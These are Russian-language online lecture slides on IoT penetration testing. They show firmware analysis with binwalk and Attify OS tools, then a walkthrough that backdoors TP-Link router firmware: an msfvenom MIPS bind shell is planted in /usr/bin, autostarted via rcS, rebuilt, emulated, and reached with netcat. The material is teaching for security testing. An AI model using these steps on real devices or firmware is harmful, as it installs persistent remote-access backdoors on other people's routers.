
О Н Л А Й Н - О Б РА З О В А Н И Е



Меня хорошо слышно
&& видно? 

Напишите в чат, если есть проблемы!

Ставьте       если все хорошо+



Внедрение сторонней
программы



Attify OS



Дистрибутив для тестирования на проникновения IoT

 Binwalk

 Firmware-Mod-Kit (FMK)

 Firmware Analysis Toolkit (FAT)

 radare2 

 Dex2Jar

 JADx

 ROPGadget

attify.com

https://www.attify.com/


binwalk

Инструмент для анализа прошивок

binwalk -B firmware_TS38MN-ONVIF-V1.6.0.0_20130726154732.bin



binwalk

Вывод энтропии кусков файла

binwalk -E firmware_TS38MN-ONVIF-V1.6.0.0_20130726154732.bin



binwalk

Определение упаковщика

binwalk -i firmware_TS38MN-ONVIF-V1.6.0.0_20130726154732.bin



Извлекаем прошивку



Работаем с прошивкой от TP-Link

TL-WR810N(US)_V2_160509_1474506175401q.zip

Скачать можно тут

https://drivers.softpedia.com/get/Router-Switch-Access-Point/TP-Link/TP-Link-TL-WR810N-V2-Router-Firmware-160509-US.shtml


Работаем с прошивкой от TP-Link

cd /home/oit/tools/firmware-mod-kit

./extract-firmware.sh ~/fmw/wr810nv2_us_3_16_9_up_boot\(160509\).bin



Получаем информацию о прошивке

cd /home/oit/tools/firmware-mod-kit/wr810nv2_us_3_16_9_up_boot(160509)/rootfs

readelf -h bin/ls



Что именно нас интересует?

 Архитектура процессора

 Порядок следования байт

 Разрядность процессора



Генерируем Bind shell



Используем msfvenom

msfvenom -p linux/mipsbe/shell_bind_tcp lport=4444  -f elf –o bindshell



Устанавливаем эмулятор QEMU

apt-get install

qemu-system-arm

qemu-system-mips

qemu-system-x86

qemu-utils



Проверяем работоспособность shellа

qemu-mips /mnt/hgfs/ShareForRWX/router-sec2/bindshell

nc -nv 127.0.0.1 4444



Добавляем bindshell в распакованную прошивку

cp ~/fmw/shell/bindshell usr/bin



А что насчёт автозапуска?

nano etc/rc.d/rcS



Собираем модифицированную прошивку

sudo ./build-firmware.sh wr810nv2_us_3_16_9_up_boot\(160509\)



Эмулируем работу роутера

sudo ./fat.py /new-firmware.bin



Проверяем работу shell кода

nc -nv 192.168.0.254 4444



Вопросы???



Пакулов Артур



Спасибо
за внимание!


